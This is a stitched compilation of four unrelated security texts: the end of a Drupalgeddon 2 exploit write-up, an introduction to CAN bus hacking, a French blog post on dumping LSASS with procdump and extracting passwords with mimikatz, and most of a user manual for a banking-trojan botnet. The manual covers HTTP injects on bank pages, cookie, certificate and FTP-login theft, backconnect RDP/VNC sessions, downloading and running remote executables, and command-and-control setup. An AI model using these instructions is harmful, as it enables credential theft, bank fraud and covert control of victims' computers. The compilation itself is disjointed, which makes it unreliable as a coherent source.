<img src='img/Temp2_8682.png' width='499' height='663' />

**Figure 1:** The Drupal registration form.

We knew that we needed to inject a renderable array somewhere in the form
structure, we just had to find out where.

As it happens, the “Email address” field does not sanitize the type of input
that it receives. This allowed us to inject an array to the form array
structure \(as the value of the email field\).

<img src='img/Temp2_8683.png' width='721' height='256' />

**Figure 2:** Injecting our renderable array into the _mail_ input of the
registration form.

<img src='img/Temp2_8681.png' width='400' height='848' />

**Figure 3:** Example of injected form renderable array.

Now all we needed was for Drupal to render our injected array. Since Drupal
treats our injected array as a value and not as an element, we needed to trick
Drupal into rendering it.

The situations in which Drupal renders arrays are as follows:

  1. Page load
  2. Drupal AJAX API – i.e. when a user fills an AJAX form, a request is made to Drupal which renders an HTML markup and updates the form.

After investigating possible attack vectors surrounding the above
functionalities, because of the post-submission rendering process and the way
Drupal implements it, we came to the conclusion that an AJAX API call is our
best option to leverage an attack.

As part of the user registration form, the “Picture” field uses Drupal’s AJAX
API to upload a picture into the server and replace it with a thumbnail of the
uploaded image.

<img src='img/Temp2_8679.png' width='615' height='592' />

**Figure 4:** Form used to upload a picture using AJAX API.

Diving into the AJAX file upload callback revealed that it uses a GET
parameter to locate the part of the form that needs to be updated in the
client.

<img src='img/Temp2_8678.png' width='724' height='480' />

**Figure 5:** The AJAX ‘upload file’ callback function code.

After pointing element\_parents to the part of the form that contained our
injected array, Drupal successfully rendered it.

**Weaponizing Drupalgeddon 2**

Now, all we had to do is to inject a malicious render array that uses one of
Drupal’s rendering callback to execute code on the system.

There were several properties we could have injected:

  * \#access\_callback  
_Used by Drupal to determine whether or not the current user has access to an
element._

  * \#pre\_render  
_Manipulates the render array before rendering._

  * \#lazy\_builder  
_Used to add elements in the very end of the rendering process._

  * \#post\_render  
_Receives the result of the rendering process and adds wrappers around it._

For our POC to work, we chose the _\#lazy\_builder_ element as the one being
injected into the mail array. Combined with the AJAX API callback
functionality, we could direct Drupal to render our malicious array.

This allowed us to take control over the administrator’s account, install a
malicious backdoor module and finally execute arbitrary commands on the
server.

<img src='img/Temp2_8677.png' width='1017' height='137' />

**Figure 6:** injecting malicious command into one of Drupal’s rendering
callbacks.

<img src='img/Temp2_8680.png' width='636' height='278' />

**Figure 7:** Successfully executing shell commands using the malicious
module.

**Conclusion**

After seeing earlier publications on Twitter and several security blogs, it
was apparent that there was much confusion among the community regarding this
vulnerability announcement, with some even doubting the severity of it. As a
result, we considered it worthwhile to looking deeper into.

The research however was challenging as we were starting from a very large
attack surface since the patch blurred the real attack vectors. To expedite
our findings, we were fortunate to be joined by experts in the Drupal
platform. The final results highlight how easy it is for organization to be
exposed through no fault of their own, but rather through the third party
platforms they use every day.

**About the Researchers**

Eyal Shalev, Senior Developer at Dofinity  
Rotem Reiss, Development and Security Operations Lead at Dofinity  
Eran Vaknin, Security Researcher at Check Point

Check Point customers are protected against such vulnerabilities due to IPS
signatures.

  

# Automobile Hacking, Part 1: The CAN Protocol | hackers-arise
**Created:**| _9/4/2017 9:42:19 AM_  
---|---  
**Updated:**| _9/4/2017 9:42:19 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# **_Automobile Hacking, Part 1: The CAN Protocol_**

August 4, 2017

|

OTW

Automobile hacking is one of the leading-edge areas of our hacking discipline.
As our automobiles have become smarter and smarter, they include more and more
electronics, making them more and more vulnerable. As we are literally and
figuratively turning the corner into the era of the driver-less or autonomous
car, hacking automobiles will become even more important and dangerous.

In this series, we will examine the basics of automobile hacking and advance
to more complex hacking strategies. For an example of rather simple automobile
hacking, check out my article on hacking the Mitsubishi Outlander.

<img src='img/6a4a49_528fff13a19d4b9eb8db3431490ac33e~mv2.webp' width='571'
height='429' />

Before we can delve into automobile hacking, we need to first understand the
basics. Kind of like understanding TCP/IP before network hacking or modbus
before SCADA hacking. Automobile electronics use several different protocols
to communicate between the multiple micro-controllers, sensors, gauges,
actuators, etc. The most widely used of these protocols is the Controller Area
Network or CAN.

The CAN Protocol

CAN was first develop by Robert Bosch GmbH, the German industrial giant known
for their automotive electronics. It was first released at the Society of
Automotive Engineers \(SAE\) meeting in 1986. The CAN protocol has been
standardized as ISO 11898-1 and ISO 11898-2. It was designed for robust
communication within the vehicle between micro-controllers and devices without
the need of a host computer.

CAN operates as broadcast type of network, similar to a broadcast packet in
Ethernet or using a hub in the old days of networking \(1980-90's\). Every
node on the network can "see" every transmission. Unlike Ethernet or TCP/IP
\(but similar to modbus in SCADA systems\) you can not send a message to a
single node, but the CAN does provide for local filtering so that each node
only acts upon messages pertinent to its operation. You can think of this as
"content messaging", where the contents determine the target node.

CAN runs over two wires, CAN high and CAN low. Due to the "noise" inherent in
automobile systems, CAN uses differential signaling. This is where the
protocol raises and lowers the voltage on the two wires to communicate. In
both high speed and low speed CAN, signaling drives the high wire towards 5 V
and the low wire towards 0 V when transmitting a zero \(0\) but doesn't drive
either wire when send a one \(1\).

<img src='img/6a4a49_8d448480cda3418abab66287bb699921~mv2.png' width='571'
height='218' />

CAN Message Types

CAN uses four \(4\) different types of messages;

1\. Data Frame

2\. Remote Frame

3\. Error Frame

4\. Overload Frame

Data Frame

This is the only frame actually used for data transmission. In most cases, the
data source node sends the data frame.

It has two types, standard and extended. The standard has 11 identifier bits
and the extended has 29 bits. The CAN standard requires that the base data
frame MUST be accepted and the extended frame MUST be TOLERATED, in other
words it will not break the protocol or transmission.

Remote Frame

The remote frame is used when the data destination node requests the data from
th e source.

Error Frame

The error frame has two different fields, the first is given by the ERROR
FLAGS and contributed by the different stations and the second is the ERROR
DELIMITER, simply indicating the end of the error message

Overload Frame

The overload frame has two fields These are the Overload Flag and the Overload
Delimiter. The overload frame is triggered when either by the internal
conditions of a receiver or the detection of dominant bit \(0\) during
transmission.

The On Board Diagnostics \(OBD\)-II Connector

Most vehicles now come with an ODB-II connector. If you have taken your car to
a shop for repair, it is this connector under the dashboard where the mechanic
connects their computer to get a read on the on-board computers.

<img src='img/6a4a49_309839e60fab424b8a2dab7573f0e987~mv2.webp' width='571'
height='429' />

The OBD-II has 16 pins and looks like the diagram below.

<img src='img/6a4a49_e22fbbb814de4e55abc710c0f65d2d12~mv2.webp' width='571'
height='551' />

As a hacker/attacker, we also can connect to this OBD-II connector and send
messages on the CAN network to various devices.

CAN Bus Packet Layout

There are two types of CAN packets, standard and extended. The extended
packets share the same same elements as the standard packet, but the extended
packets have additional space to include ID's.

Standard Packets

Every CAN packet has four critical sections. These are;

Arbitration ID

The arbitration ID is the ID of the device sending the packet.

Identifier Extension

This bit is always 0 for standard CAN

Data Length Code \(DLC\)

This indicates the size of the data, from 0 to 8 bytes

Data

This is the data in the message. As mentioned above, it can be up to 8 bytes.

As mentioned above, all CAN packets are broadcast so ever device or controller
can see every packet. There no way for any device to know which controller
sent the packet \(no return address\), so spoofing messages on a CAN network
is trivial. This is one of the key weaknesses of CAN.

<img src='img/6a4a49_5629721d3b7a4a06b60351703ebc0eb7~mv2.png' width='571'
height='391' />

Extended CAN Packets

Extended CAN packets are the same as standard CAN packets, but they are
chained together to create longer ID's. Extended CAN is backwardly compatible
with standard CAN. This means that if a sensor was not designed to accept
extended CAN packets, this system won't break.

Security

Due to CAN being a low-level protocol, it does not have any security features
built in. It has NO encryption or authentication, by default. This can lead to
man-in-the middle attacks \(no encryption\) and spoofing attacks \(no
authentication\). Manufacturers in some cases have implemented authentication
mechanisms on mission critical systems such as modifying software and
controlling brakes, but they have not been implemented by all manufacturers.
Even in the cases where passwords have been implemented, they are relatively
easy to crack.

As we progress through this series on automobile hacking, we will expand upon
your understanding of CAN and the other automobile communication protocols. It
might be useful to bookmark this page for future reference.

You can proceed to Part 2 of this series here.

Look for my upcoming Automobile Hacking LIVE Online course\!

  

# sekurlsa :: minidump | Blog de Gentil Kiwi
**Created:**| _9/23/2018 8:51:27 AM_  
---|---  
**Updated:**| _9/23/2018 8:51:27 AM_  
**Author:**| _wishi_  
**Tags:**| _Memory forensics_  
  

  

# sekurlsa :: minidump

`mimikatz` est déjà très facile d’emploi sur place… mais si nous prenions à
emporter ?

<img src='img/mcdrive.jpg' width='450' height='222' alt='mcdrive' />

_– « Un minidump de`LSASS` et 4 Cocas »_

## NT 6

Microsoft nous a fait une bonne surprise \! Il est maintenant possible de
dumper des processus directement depuis le gestionnaire de tâches, et ceci
sans outils supplémentaires \!

<img src='img/minidump_8.png' width='560' height='425' alt='minidump_8' />

_Nous sommes ensuite remerciés par :_

<img src='img/dumpok.png' width='337' height='169' alt='dumpok' />

\(valable pour Windows Vista et versions supérieures\)

## NT 5

Cette fois ci, point de méthode interne à Windows, mais nous pouvons passer
par `Procdump` : http://technet.microsoft.com/sysinternals/dd996900.aspx

12345678910| `C:\WINDOWS\Sysinternals>procdump -accepteula -ma lsass.exe
lsass.dmp``ProcDump v5.14 - Writes process dump files``Copyright (C) 2009-2013
Mark Russinovich``Sysinternals - www.sysinternals.com``With contributions from
Andrew Richards``Writing dump file C:\WINDOWS\Sysinternals\lsass.dmp
...``Writing 48MB. Estimated time (less than) 1 second.``Dump written.`  
---|---  
## Utilisation

Il suffit maintenant d’utiliser `mimikatz` sur une plateforme de même version
majeure et de même architecture que le dump d’origine.

<img src='img/minidump_matrix.png' width='576' height='232'
alt='minidump_matrix' />

Exemples de configurations :

  * Dump d’un Windows XP x86 => mimikatz x86 sous Windows 2003 x86
  * Dump d’un Vista x64 => mimikatz x64 sous Windows 2012 x64

1234567891011121314151617181920212223242526272829303132333435| `mimikatz 2.0
alpha x86 release "Kiwi en C" (Apr 2 2013 02:58:12)``/* * *``Benjamin DELPY
`gentilkiwi` ( benjamin@gentilkiwi.com
)``http://blog.gentilkiwi.com/mimikatz``with 4 modules * * */``mimikatz #
sekurlsa::minidump lsass.dmp``Switch to MINIDUMP``mimikatz #
sekurlsa::logonPasswords``Authentication Id : 0 ; 141237``User Name :
sekur_000``Domain : WINDOWS-8``msv :``* Username : sekurlsa@live.fr``* Domain
: MicrosoftAccount``* LM : d0e9aee149655a6075e4540af1f22d3b``* NTLM :
cc36cf7a8514893efccd332446158b1a``tspkg :``* Username : sekurlsa@live.fr``*
Domain : MicrosoftAccount``* Password : waza1234/``wdigest :``* Username :
sekurlsa@live.fr``* Domain : MicrosoftAccount``* Password : waza1234/``livessp
:``* Username : sekurlsa@live.fr``* Domain : ps:password``* Password :
waza1234/``kerberos :``ssp :`  
---|---  
## mimikatz

Oui, il s’agit de `mimikatz **2**`, une version `alpha` livrée totalement
incomplète pour l’occasion \(et certainement encore pleine de bogues\).  
Le français n’ayant pas beaucoup freiné certaines utilisations, et à la
demande de beaucoup \(gasp\!\), cette version sera en anglais.

La version alpha prenant en charge ces améliorations est disponible :
http://blog.gentilkiwi.com/mimikatz \(répertoire alpha\)

  

# User guide

**Created:**| _5/12/2011 8:29:55 PM_  
---|---  
**Updated:**| _5/12/2011 8:29:55 PM_  
**Author:**| __  
**Tags:**| _Exploit Manuals Malware-analysis_  
  

# User guide

  * Description
    * Bot
    * Control panel
  * Configuration file
    * HTTP-inject/HTTP-grabber
  * Control panel
    * Configuring the server
    * Install
    * Update
    * File /system/fsarc.php
    * Commands with remote scripts
  * Work with Backconnect-server
  * F.A.Q.
  * Version history

## Description: Bot

  * **Language and IDE programming:**
Visual C++ \(current version 9.0\). No additional libraries are used \(crtl,
mfc, etc.\).

  * **Supported OS:**
XP/Vista/Seven, as well as 2003/2003R2/2008/2008R2. Included work under
Windows x64, but only for 32-x bits processes. Also retained full bot work
under active "Terminal Servers" sessions.

  * **Action principle:**
Bot is based on intercepting WinAPI, by splicing in ring3 \(user mode\), by
running a copy of its code in each process of the user \(without using DLL\).

  * **Installation process:**
At the moment, the bot is primarily designed to work under Vista/Seven, with
enabled UAC, and without the use of local exploits. Therefore the bot is
designed to work with minimal privileges \(including the user "Guest"\), in
this regard the bot is always working within sessions per user \(from under
which you install the bot.\). Bot can be set for each use in the OS, while the
bots will not know about eachother. When you run the bot as "LocalSystem" user
it will attempt to infect all users in the system.

When you install, bot creates its copy in the user's home directory, this copy
is tied to the current user and OS, and cannot be run by another user, or even
more OS. The original copy of the same bot \(used for installation\), will be
automatically deleted, regardless of the installation success.

  * **The session with the server \(control panel\):**
Session with the server through a variety of processes from an internal "white
list" that allows you to bypass most firewalls. During the session, the bot
can get the configuration to send the accumulated reports, report their
condition to the server and receive commands to execute on the computer. The
session takes place via HTTP-protocol, all data sent by a bot and received
from the server is encrypted with a unique key for each botnet.

  * **Protection:**
    1. Unique names of all objects \(files, MUTEXes, registry keys\) when creating a bot for every user and a botnet.
    2. Fixed bot can not be run with a different operating system or user. Destroys the code that is used to install the bot.
    3. At the moment not done to hide bot files through WinAPI, because anti-virus tools are very easy to find such a file, and allow to pinpoint the location of the bot.
    4. Autoupdate bot, do not require a reboot.
    5. Monitoring the integrity of files the bot.
  * **Server-side bot functions:**
    1. Socks 4/4a/5 server with support for UDP and IPv6.
    2. Backconnect for any service \(RDP, Socks, FTP, etc.\) on the infected machine. I.e. may gain access to a computer that is behind a NAT, or, for example, which has prohibited connections by a firewall. For this feature to work there are used additional applications that run on any Windows-server on the Internet, which has a dedicated IP.
    3. Getting a screenshot of your desktop in real time.
  * **Intercepting HTTP/HTTPS-requests from wininet.dll \(Internet Explorer, Maxton, etc.\), nspr4.dll \(Mozilla Firefox\) libraries:**
    1. Modification of the loaded pages content \(HTTP-inject\).
    2. Transparent pages redirect \(HTTP-fake\).
    3. Getting out of the page content the right pieces of data \(for example the bank account balance\).
    4. Temporary blocking HTTP-injects and HTTP-fakes.
    5. Temporary blocking access to a certain URL.
    6. Blocking logging requests for specific URL.
    7. Forcing logging of all GET requests for specific URL.
    8. Creating a snapshot of the screen around the mouse cursor during the click of buttons.
    9. Getting session cookies and blocking user access to specific URL.
  * **Get important information from the user programs:**
    1. Logins from FTP-clients: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP.
    2. "Cookies" Adobe \(Macromedia\) Flash Player.
    3. "Cookies" wininet.dll, Mozilla Firefox.
    4. Import certificates from the certificate store Windows. And tracking their subsequent addition.
    5. Tracking of pressing the keyboard keys.
  * **Traffic sniffer for TCP protocol in Windows Socket.**
    1. Intercept FTP-logins on any port.
    2. Intercept POP3-logins on any port.
  * **Miscellaneous:**
    1. Execution of scripts \(commands\), created in the control panel.
    2. Separation of the botnet to subbotnets \(by name\).

## Description: Control panel

  * **Programming language:**
PHP, using the extensions mbstring, mysql.

  * **Display statistics:**
    1. Number of infected computers.
    2. Current number of bots in the online.
    3. The number of new bots.
    4. Daily activity of bots.
    5. Country statistics.
    6. Statistics by OS.
  * **Working with the list of bots:**
    1. Filtering the list by country, botnets, IP-addresses, NAT-status, etc.
    2. Displaying desktop screenshots in real time \(only for bots outside NAT\).
    3. Mass inspection of the Socks-servers state.
    4. Displays detailed information about the bots. Of the most important here are: 
       * Windows version, user language and time zone.
       * Location and computer IP-address \(not for local\).
       * Internet connection speed \(measured by calculating the load time of a predetermined HTTP-resource\).
       * The first and last time of communication with the server.
       * Time in online.
    5. Ability to set comment for each bot.
  * **Scripts \(commands\):**
You can control the bots by creating a script for them. Currently, syntax and
scripting capabilities, are very primitive.

  * **Working with reports \(logs\) and bots files:**
Files \(such as screenshots, Flash Player cookies\) received from the bots are
always written to files on the server. You get the opportunity to search for
files with a filter: by bots, botnets, content and file name.

Reports can be written in files \(%botnet%/%bot\_id%/reports.txt\), and in the
database. In the first case, the search for records is in exactly the same way
as for files. In the second case, you get more flexible filtering, and viewing
reports from the Control panel.

  * **Receive notifications in the IM \(Jabber\):**
You can receive notifications from the Control Panel in the Jabber-account.

At the moment there is a possibility of receiving notifications about a user
entering a defined HTTP/HTTPS-resources. For example, it is used to capture
user session in an online bank.

  * **Miscellaneous:**
    1. Creating Control panel users with specific access rights.
    2. Displays information about the server software.
    3. Automatic recovery of damaged MyISAM tables.

## Configuration file: HTTP-inject/HTTP-grabber.

For the convenience of writing, HTTP-inject/HTTP-grabber are recorded in a
separate file specified in the configuration file as
"DynamicConfig.file\_webinjects". Naturally, after creating the end-
configuration file, not any additional files are generated.

The file consists of a list of URLs for which you can specify an unlimited
number of any modification thereto or derived from their data. The current URL
is the following line:

**set\_url \[url\] \[options\] \[postdata\_blacklist\] \[postdata\_whitelist\]
\[url\_block\] \[matched\_context\]**

**Parameters:**

url| URL, on which must be run HTTP-inject/HTTP-grabber. Allowed the use of
masks \(\* and \# symbols\).  
---|---  
options|  Defines basic terms and conditions for the records, consists of a
combination of the following characters:

  * **P** \- runs at POST-request.
  * **G** \- runs at GET-request.
  * **L** \- if this symbol is specified, then starts going as HTTP-grabber, if not specified, goes as HTTP-inject. 
  * **D** \- blocks run more than once in 24 hours. _This symbol requires a mandatory presence of the parameter url\_block._
  * **F** \- complements the symbol "L", allows you to record the result not in the full report but as a separated file "grabbed\%host%\_%year%\_%month%\_%day%.txt".
  * **H** \- complements the symbol "L", saves the contents without stripping the HTML-tags. In normal mode the same, all HTML-tags are removed, and some are transformed into a character "new line" or "gap".
  * **I** \- compare the url parameter insensitive \(only for engl. alphabet\).
  * **C** \- compare the context insensitive \(only for engl. alphabet\).

  
postdata\_blacklist| Complete \(from beginning to end\) the contents of POST-
data, which **should not** be run. Allowed the use of masks \(\* and ?
symbols\).  
  
Parameter is optional.  
postdata\_whitelist| Full \(from beginning to end\) content POST-data, which
**should** be run. Allowed the use of masks \(\* and ? symbols\).  
  
Parameter is optional.  
url\_block|  **In the absence of the symbol "D" in the options parameter:** If
the run must occur only once, then should be specified a URL, in this case the
further run will be blocked. Expects that URL to begin immediately after HTTP-
inject/HTTP-grabber application. If, after blocking will need rerun, then the
lock can be removed via the command "bot\_httpinject\_enable" with a
parameter, for example, equal to the parameter url. **In the presence of the
symbol "D" in the options parameter:** You must specify a URL, when referring
to that, run will be locked at 24-th hour. Expectats that the URL begins
immediately after HTTP-inject/HTTP-grabber application. _This lock can not be
removed by a command "bot\_httpinject\_enable"._ Parameter is optional in the
absence of a symbol "D" in the options parameter.  
matched\_context| Subcontent \(substring\) URL content, which should be run.
Allows the use of masks \(\* and ? symbols\).  
  
Parameter is optional.  
With the next line begins a list of changes introduced in the contents of the
URL, and if the symbol "L" is in the parameter options - a list of data is
retrieved from the content URL. This list lasts until it reaches the end of
the file, or is specified a new URL.

Unit list consists of three elements in random order:

data\_before|  **In the absence of the symbol "L" in the options parameter:**
Subcontent in the URL content, after which you want to enter new data. **In
the presence of the symbol "L" in the options parameter:** Subcontent in the
URL content, after which you want to start to get data for the report. Allows
the use of masks \(\* and ? symbols\).  
---|---  
data\_after|  **In the absence of the symbol "L" in the options parameter:**
Subcontent in the URL content, to which you want to finish the new data. **In
the presence of the symbol "L" in the options parameter:** Subcontent in the
URL content, after which the need to finish getting the data for the report.
Allows the use of masks \(\* and ? symbols\).  
data\_inject|  **In the absence of the symbol "L" in the options parameter:**
The new data, that will be inserted between data\_before and data\_after data.
**In the presence of the symbol "L" in the options parameter:** Subcontent in
the URL content, after which the need to finish getting the data for the
report.  
**Example:**

user\_homepage\_set http://www.google.com/| Force setting the homepage as
"http://www.google.com/".  
---|---  
user\_homepage\_set| Force setting the homepage will be disabled.  
LIMITS LOGIC FOR INCOMPLETE before or after

## Control panel: Server configuration

The server is the central point of control the botnet, it is engaged in
collecting reports of bots and command bots. It is not recommended to use
"Virtual Hosting" or "VDS", as with an increase in the botnet, the server will
increase, and this kind of web hosting quickly exhaust its resources. You need
a "Dedicated Server" \(Ded\), the recommended minimum configuration:

  * 2Gb RAM.
  * 2x 2GHz processor speed.
  * Separate hard drive for the database.

For bot to work requires HTTP-server with PHP + Zend Optimizer attached, and
MySQL-server.  
**WARNING:** For Windows-based servers is very important to change \(create\)
the following registry value:
HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort=dword:65534
\(decimal\).

  * **HTTP-server:**
As an HTTP-server is recommended to use: for nix-system - Apache from version
2.2, for Windows-servers - IIS from version 6.0. It is recommended to keep the
HTTP-server on port 80 or 443 \(a positive effect on bot run, as
providers/proxy can block access to some non-standard ports\).

Download Apache: http://apache.org/dyn/closer.cgi.  
IIS website: http://www.iis.net/.

  * **PHP interpreter:**
The latest version of the control panel was developed on PHP 5.2.6. Therefore,
it is highly recommended to use version, at least this version.

It is important to make the following settings php.ini:

    * safe\_mode = Off
    * magic\_quotes\_gpc = Off
    * magic\_quotes\_runtime = Off
    * memory\_limit = 256M ;Or higher.
    * post\_max\_size = 100M ;Or higher.
and also recommended that you change these settings:

    * display\_errors = Off
Also need to enable the Zend Optimizer \(acceleration of the script, and run
protected scripts\). Recommended version from 3.3.

Not recommended to connect PHP to the HTTP-server via CGI.

Download PHP: http://www.php.net/downloads.php.  
Download Zend Optimizer: http://www.zend.com/en/products/guard/downloads.

  * **MySQL-server:**
MySQL is required to store all data about the botnet. The recommended version
is not below 5.1.30, well worth considering, that when ran the control panel
in the older versions were detected some problems. All table control panel, go
to format MyISAM, it is important to optimize speed of work with this format,
based on the available server resources.

Recommended the following changes to the settings MySQL-server \(my OR
my.ini\):

    * max\_connections=2000 \#Or higher
Download MySQL: http://dev.mysql.com/downloads/.

## Control panel: Installation

Designation of files and folders:

/install| installer  
---|---  
/system| system files  
/system/fsarc.php| script to call an external archiver  
/system/config.php| configuration file  
/theme| theme files \(design\), without Zend, can freely change  
cp.php| control panel entrance  
gate.php| gate for bots  
index.php| empty file to prevent listing of files  
The control panel is usually located in your distribution folder
server\[php\]. All contents of this folder is for upload to the server in any
location accessible via HTTP. If you upload it via FTP, all files must be
uploaded in BINARY mode.

For nix-systems set rights:

/.| 777  
---|---  
/system| 777  
/tmp| 777  
For Windows-systems set rights:

\system| rights to full rights for reading, writing for an unprivileged user
which is used to access the files via HTTP. For IIS it is usually IUSR\_\*  
---|---  
\tmp| as well as for \system  
Once all files are uploaded and are set the rights, need to run in the browser
the installer from URL http://server/directory/install/index.php. Follow the
on-screen instructions, in case of errors \(You will be notified in detail\)
in the installation process, check the entered data, and proper rights setting
to the folder.

After installing, is recommended to remove the install directory, and rename
files cp.php \(control panel entrance\) and gate.php \(gate for bots\) to any
files you like \(the extension cannot be changed\).

Now you can safely enter into the control panel by typing in the browser URL
the renamed file cp.php.

## Control panel: Update

If you have a newer copy of the control panel, and want to update an older
version, you must do the following:

  1. Copy the files of the new panel in place of the old.
  2. Rename the files cp.php and gate.php under their real names you selected when you installed the old control panel.
  3. Just in case, re-set the directories rights under this section.
  4. Run the installer throuh a browser URL http://сервер/директория/install/index.php, and follow the on-screen instructions. The process of the installer may take quite a long period of time, due to the fact that some of the tables with the reports can be recreated.
  5. You can use the new control panel.

## Control panel: The file /system/fsarc.php.

This file contains a function to call an external archiver. Currently, data
logger is used only in the module "Reports::Find in files" \(reports\_files\),
and calls to download files and folders in a single archive. By default,
configured to Zip archiver, and is universal for both Windows and nix, so all
you have to do, is to install into the system this archiver, and give the
right to its execution. You can also edit this file to work with any archiver.

Download Zip: http://www.info-zip.org/Zip.html.

## Control panel: Commands, used in scripts

  * **os\_shutdown**
Shutdown computer. This command will be executed after the execution of the
script, regardless of position in the script.

  * **os\_reboot**
Reboot computer. This command will be executed after the execution of the
script, regardless of position in the script.

  * **bot\_uninstall**
Complete removal of the bot from the current user. This command will be
executed after the execution of the script, regardless of position in the
script.

  * **bot\_update** \[url\]
Update the bot configuration file.

**Parameters:**

url|  URL, from which to load configuration file. In the case of a successful
configuration download, from it will be forced to load and run the file \(with
parameter "-f"\), specified in the "DynamicConfig.url\_loader".  
  
If this option is not specified or is blank, it will download the
configuration file as usual \(i.e. as whether it was time to
"StaticConfig.timer\_config"\), with all its consequences.  
---|---  
**Example:**

bot\_update http://domain/update.bin| Downloads the configuration file
"http://domain/update.bin".  
---|---  
  * **bot\_bc\_add** \[service\] \[backconnect\_server\] \[backconnect\_server\_port\]
Adding a constant \(the session will be restored even after restarting the
computer\) backconnect-session. This command is not available in all builds of
the software.

**Parameters:**

service| Port number or service name for which to create session.  
---|---  
backconnect\_server| Host that is running backconnect-server.  
backconnect\_server\_port| The port number on the host
\[backconnect\_server\].  
**Examples:**

bot\_bc\_add socks 192.168.100.1 4500| You get access to Socks-server.  
---|---  
bot\_bc\_add 3389 192.168.100.1 4500| You get access to RDP.  
bot\_bc\_add vnc 192.168.100.1 4500| You get access to VNC.  
  * **bot\_bc\_remove** \[service\] \[backconnect\_server\] \[backconnect\_server\_port\]
Termination of the permanent backconnect-sessions. _This command is not
available in all builds of software._

**Parameters:**

service| Port number or service name, for which the session is removed. Allows
the use of masks \(\* and ? symbols\), to remove the sessions group.  
---|---  
backconnect\_server| Host, that is running backonnect-server. Allows the use
of masks \(\* and ? symbols\), to remove the sessions group.  
backconnect\_server\_port| Port number on the host \[backconnect\_server\].
Allows the use of masks \(\* and ? symbols\), to remove the sessions group.  
**Examples:**

bot\_bc\_remove socks \* \*| Deletes all sessions associated with the socks
service.  
---|---  
bot\_bc\_remove \* \* \*| Deletes all existing sessions.  
  * **bot\_httpinject\_disable** \[url\_1\] \[url\_2\] ... \[url\_X\]
Blocking execution of HTTP-injects to a specific URL for the current user.
_Calling this command does not reset the current block list, but rather
complements it._

**Parameters:**

url\_1, ulr\_2, ...| URL's, in which you want to block execution of HTTP-
injects. Allows the use of masks \(\* and \# symbols\).  
---|---  
**Examples:**

bot\_httpinject\_disable http://www.google.com/\*| Blocks execution of HTTP-
injects for http://www.google.com/.  
---|---  
bot\_httpinject\_disable \*| Blocks execution of HTTP-injects for each URL.  
bot\_httpinject\_disable \*.html \*.gif| Blocks execution of HTTP-injects for
files with the html and gif.  
  * **bot\_httpinject\_enable** \[url\_1\] \[url\_2\] ... \[url\_X\]
Unlock execution of HTTP-injects to a specific URL for the current user.

**Parameters:**

url\_1, ulr\_2, ...| Masks \(\* and \# symbols\), on which from the list of
blocked URL you want to remove the URL.  
---|---  
**Examples:**

bot\_httpinject\_enable \*.google.\*| Remove blocking execution of HTTP-
injects in any URL from the block list, which contains in it ".google.".  
---|---  
bot\_httpinject\_enable \*| Clear completely the list of block execution of
HTTP-injects.  
bot\_httpinject\_enable \*.html https://\*| Remove blocking execution of HTTP-
injects with all html-files, and to all HTTPS-resources.  
  * **user\_logoff**
Session termination \(logoff\) of current user. This command will be executed
after the execution of the script, regardless of position in the script.

  * **user\_execute** \[path\] \[parameters\]
Start the process from the current user. Start process through
ShellExecuteW\(,NULL,,,,\), if start failed, then the process is created
through CreateProcessW.

**Parameters:**

path|  Local path or URL. Can be specified as an executable file \(exe\), as
well as any other extension \(doc, txt, bmp, etc.\). For a successfull launch
of a _not executable_ file \(not exe\), that must be associated with some
program.  
  
If the parameter is a local path, then is usually the creation process. You
may use "environment variables".  
  
If the parameter is a URL, the URL gets downloaded to a file
"%TEMP%\random\_name\file\_name", where random\_name - arbitrary folder name,
and file\_name - resource name of the last part of URL-path \(if the URL-path
ends in a slash, then could throw an error\). Currently is permitted to use
only the HTTP and HTTPS protocols, also is recommended that URL-path is URL-
encoded \(true for non-English characters, the details are in RFC 1630 and
1738\).  
---|---  
parameters| Arbitrary parameters passed to the process \(not processed by the
bot\). Are not mandatory.  
**Examples:**

user\_execute http://www.google.com/dave/superdocumet.doc| Download the file
in "%TEMP%\random\_name\superdocumet.doc", and execute it, for example via MS
Word.  
---|---  
user\_execute http://www.google.com/dave/killer.exe /KILLALL /RESTART|
Download the file in "%TEMP%\random\_name\killer.exe", and execute it with
"/KILALL /RESTART" parameters.  
user\_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe"| Launch
media-player.  
user\_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe"
"analporno.wmv"| Launch a media-player with the parameter "analporno.wmv".  
  * **user\_cookies\_get**
Get the cookies of all known browsers.

  * **user\_cookies\_remove**
Delete all cookies from all known browsers.

  * **user\_certs\_get**
Get all the exported certificates from the certificate store "MY" of the
current user. Certificates will be uploaded to the server as pfx-files with
the password "pass".

  * **user\_certs\_remove**
Cleaning certificate store "MY" of the current user.

  * **user\_url\_block** \[url\_1\] \[url\_2\] ... \[url\_X\]
Block access to the URL in the famous libraries \(browsers\) for the current
user. _Calling this command does not reset the current block list, but rather
complements it._  
  
When you try to access blocked URL, the bot shows the following errors:

    * wininet.dll - ERROR\_HTTP\_INVALID\_SERVER\_RESPONSE
    * nspr4.dll - PR\_CONNECT\_REFUSED\_ERROR
**Parameters:**

url\_1, ulr\_2, ...| URL's to which you want to block access. Allows the use
of masks \(\* and \# symbols\).  
---|---  
**Examples:**

user\_url\_block http://www.google.com/\*| Block access to any URL on
http://www.google.com/.  
---|---  
user\_url\_block \*| Complete blocking of access to any resource.  
user\_url\_block http://\*.ru/\*.html https://\*.ru/\*| Block access to any
html-file in the zone ru, and blocking access to HTTPS-resources in the zone
ru.  
  * **user\_url\_unblock** \[url\_1\] \[url\_2\] ... \[url\_X\]
Unlock access to the URL in the famous libraries \(browsers\) for the current
user.

**Parameters:**

url\_1, ulr\_2, ...| Masks \(\* and \# symbols\), on which from the list of
blocked URL you want to remove URL.  
---|---  
**Examples:**

user\_url\_unblock \*.google.\*| Remove the lock on any URL from the block
List, which contains ".google.".  
---|---  
user\_url\_unblock \*| Clear the URL block list completely.  
user\_url\_unblock \*.html https://\*| Remove the lock from all html-files,
and blocks from all HTTPS-resources.  
  * **user\_homepage\_set** \[url\]
Forced change the home page for all known browsers of the current user. Even
if the user tries to change the page, it will automatically be restored to the
page specified by this command.

**Paramaters:**

url|  URL, which will be set as the home page.  
  
If this option is not specified or is blank, it will force to set off the
homepage, but it will not restore the original page specified by the user.
I.e. the bot will no longer impede change the home page.  
---|---  
**Examples:**

user\_homepage\_set http://www.google.com/| Force the setting of homepage to
